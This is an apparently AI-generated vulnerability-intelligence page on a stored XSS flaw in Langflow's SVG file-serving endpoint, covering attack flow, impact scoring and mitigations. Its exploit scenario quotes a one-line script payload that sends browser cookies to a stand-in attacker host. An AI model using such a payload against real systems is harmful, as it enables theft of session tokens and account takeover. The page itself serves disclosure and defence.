Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Langflow
-
DeliveryCreate flow with malicious SVG upload
-
ExploitEmbed SVG in flow component
-
InstallSocial engineer victim to view flow
-
C2Browser renders SVG with script execution
-
ExecuteExfiltrate JWT tokens from cookies
-
ImpactAttacker achieves account takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access to Langflow with file upload privileges (CVSS PR:L indicates low-privileged user account sufficient). The attacker must be able to upload SVG files through the flow creation or editing interface and obtain the flow_id and file_name to construct the vulnerable endpoint URL. Victim must interact with the malicious content by viewing the flow containing the crafted SVG (CVSS UI:P), typically through normal workflow review, shared flow inspection, or community flow installation. Exploitation is limited to environments where Langflow stores JWT tokens in cookies accessible to JavaScript (HttpOnly flag not set), and where the application renders user-uploaded SVGs inline rather than forcing downloads. Does not require specific Langflow configuration settings, special plugins, or non-default deployment modes - the vulnerable endpoint appears to be part of core file serving functionality. Attack surface expands significantly in multi-tenant deployments or community flow sharing scenarios where untrusted users can publish flows, but is minimal in single-user development environments. |
| Impact | Real-world risk is moderate despite the 7.0 CVSS score. Multiple signals suggest controlled exploitation: CVSS requires low privileges (PR:L) and user interaction (UI:P), limiting blast radius compared to unauthenticated wormable XSS. EPSS score of 0.07% (22nd percentile) indicates low probability of mass exploitation attempts. SSVC framework confirms no active exploitation, non-automatable attack chain, and partial technical impact. However, the attack is technically simple for insiders or compromised accounts - upload malicious SVG, social engineer victim to view it. The high confidentiality impact (VC:H) is justified because successful exploitation exfiltrates authentication tokens, enabling full account takeover. Primary risk scenarios: supply chain attacks where malicious flows containing SVGs are shared in Langflow communities, or insider threats in multi-tenant deployments. The UI:P requirement (victim must view the SVG) provides some natural rate limiting but doesn't prevent targeted attacks. Priority should be elevated in environments where Langflow handles sensitive data or has external user-facing deployments, but can be deprioritized in isolated development instances with trusted users only. |
| Exploit ScenarioDerived | An authenticated Langflow user with file upload permissions creates a new flow and uploads a malicious SVG file containing embedded JavaScript (e.g., <script>fetch('https://attacker.com/exfil?token='+document.cookie)</script>) disguised as a workflow diagram or icon. The attacker shares the flow with colleagues or publishes it to a community repository. When a victim user views the flow in their Langflow instance, their browser fetches the SVG via the '/api/v1/files/images/{flow_id}/{file_name}' endpoint, which serves it with 'image/svg+xml' content type. The victim's browser executes the embedded JavaScript in the Langflow origin context, extracting JWT access and refresh tokens from cookies and exfiltrating them to the attacker's server, enabling full account takeover. The attack requires no public exploit code as manual SVG crafting is straightforward. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Apr 20, 2026
Stored XSS in Langflow's image serving endpoint allows authenticated attackers to steal session tokens via malicious SVG uploads. The '/api/v1/files/images/{flow_id}/{file_name}' endpoint serves user-uploaded SVG files with 'image/svg+xml' content type without sanitization, enabling embedded JavaScript execution in victim browsers. Authenticated attackers with low privileges can upload crafted SVGs that execute in other users' contexts, exfiltrating JWT access and refresh tokens from cookies. EPSS probability is low (0.07%, 22nd percentile) with no active exploitation confirmed (SSVC: none), but the attack is straightforward for authenticated users with file upload permissions.
Earlier versions of this analysis (1)
Stored cross-site scripting (XSS) in an unidentified web application's file serving endpoint allows authenticated attackers to steal session tokens including JWT access and refresh tokens by uploading malicious SVG files containing embedded JavaScript. The vulnerability affects the '/api/v1/files/images/{flow_id}/{file_name}' endpoint which serves SVG content without sanitization, enabling token theft when victims view the uploaded images. Reported by Tenable (vulnreport@tenable.com) with a CVSS 4.0 score of 7.0, no public exploit identified at time of analysis.
RemediationAI
Apply vendor-released patch once available from the Langflow project repository (monitor https://github.com/langflow-ai/langflow for security updates and CVE-2026-5026 fix announcements). Primary mitigation is implementing SVG sanitization using libraries like DOMPurify or svg-sanitizer to strip script tags, event handlers, and unsafe attributes before serving files. Immediate compensating controls with trade-offs: (1) Modify endpoint to serve SVG files with 'Content-Type: text/plain' and 'Content-Disposition: attachment' headers, preventing browser rendering but breaking legitimate SVG display functionality in flows; (2) Implement Content Security Policy headers with 'default-src self; script-src self' to block inline scripts, though this may interfere with other Langflow features requiring inline JavaScript; (3) Restrict '/api/v1/files/images/' endpoint access to authenticated API calls only with anti-CSRF tokens, preventing direct browser navigation but requiring application-level changes; (4) Deploy Web Application Firewall rules to detect and block SVG uploads containing <script> tags or javascript: URIs, accepting risk of bypass via obfuscation techniques. For high-security environments, disable SVG upload support entirely if workflows don't require vector graphics, or proxy all image serving through a separate sanitization service. Review Tenable TRA-2026-25 for additional vendor-specific guidance: https://www.tenable.com/security/research/tra-2026-25.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability stems from improper neutralization of input during web page generation (CWE-79), specifically stored cross-site scripting. SVG (Scalable Vector Graphics) files are XML-based vector images that can contain embedded scripts within <script> tags or event handlers. When served with the 'image/svg+xml' MIME type and rendered inline in browsers, these scripts execute in the origin's security context. Langflow's file serving API endpoint lacks content security policies (CSP), SVG sanitization (stripping <script> tags, event handlers, and data URIs), or safe content-type headers (text/plain or application/octet-stream for untrusted content). The affected product per CPE data is Langflow version unspecified ('langflow:-'), though EUVD lists 'langflow 0' which suggests early/initial versions. The CVSS 4.0 vector indicates network-based attack (AV:N), low complexity (AC:L), requiring low privileges (PR:L) and user interaction (UI:P), with high confidentiality impact (VC:H) and low integrity impact (VI:L) to the vulnerable system, no subsequent system compromise (SC:N/SI:N/SA:N).
Know when Langflow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
The '/api/v1/files/images/{flow_id}/{file_name}' endpoint serves SVG files with the 'image/svg+xml' content type without sanitizing their content.
Since SVG files can contain embedded JavaScript, an attacker can upload a malicious SVG that executes arbitrary JavaScript when viewed by other users, leading to stored cross-site scripting (XSS). This allows stealing authentication tokens stored in cookies, including JWT access and refresh tokens.
Executive ViewAI
Langflow versions prior to a fix release contain a stored cross-site scripting (XSS) vulnerability in the image serving endpoint that allows authenticated users to upload malicious SVG files and steal session tokens from other users. This directly compromises user account security and administrative access if high-privilege accounts view infected content, requiring immediate restriction of SVG upload capabilities to prevent lateral privilege escalation and unauthorized access to sensitive workflows.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable SVG upload functionality entirely or restrict to administrative users only; (2) Serve all uploaded files with 'Content-Disposition: attachment' and 'X-Content-Type-Options: nosniff' headers to prevent in-browser execution; (3) Implement Content Security Policy (CSP) headers prohibiting inline scripts; (4) Enforce file type validation on upload (whitelist only necessary formats, exclude SVG); (5) Sanitize all SVG content server-side using a library such as DOMPurify or svg-filter before storage.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Langflow before 1.3.0 allows unauthenticated remote code injection through the /api/v1/validate/code endpoint, enabling
Langflow has a third RCE vulnerability via exec_globals (EPSS 10.0%) allowing inclusion of untrusted code that executes
Account takeover and remote code execution in Langflow AI workflow platform versions ≤1.6.9 due to a CORS misconfigurati
Langflow has a code injection vulnerability in the code component (EPSS 2.6%) enabling remote code execution through the
Langflow has an eval injection in eval_custom_component_code (EPSS 2.0%) enabling remote code execution through crafted
Remote code execution in IBM Langflow OSS 1.0.0 through 1.9.3 lets an unauthenticated attacker inject and run arbitrary
Code injection in Langflow CSV Agent node before 1.8.0. The node hardcodes allow_dangerous_code=True, enabling arbitrary
Langflow through 0.6.19 allows remote code execution if untrusted users are able to reach the "POST /api/v1/custom_compo
OS command injection in Langflow's MCP stdio transport allows an attacker who can reach the MCP server configuration end
langflow <=1.0.18 is vulnerable to Remote Code Execution (RCE) as any component provided the code functionality and the
langflow v1.0.12 was discovered to contain a remote code execution (RCE) vulnerability via the PythonCodeTool component.
Langflow before 1.7.0.dev45 exposes multiple API endpoints without authentication, allowing unauthenticated access to us
EUVD-2026-16666
GHSA-89f7-r7x8-83q7
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB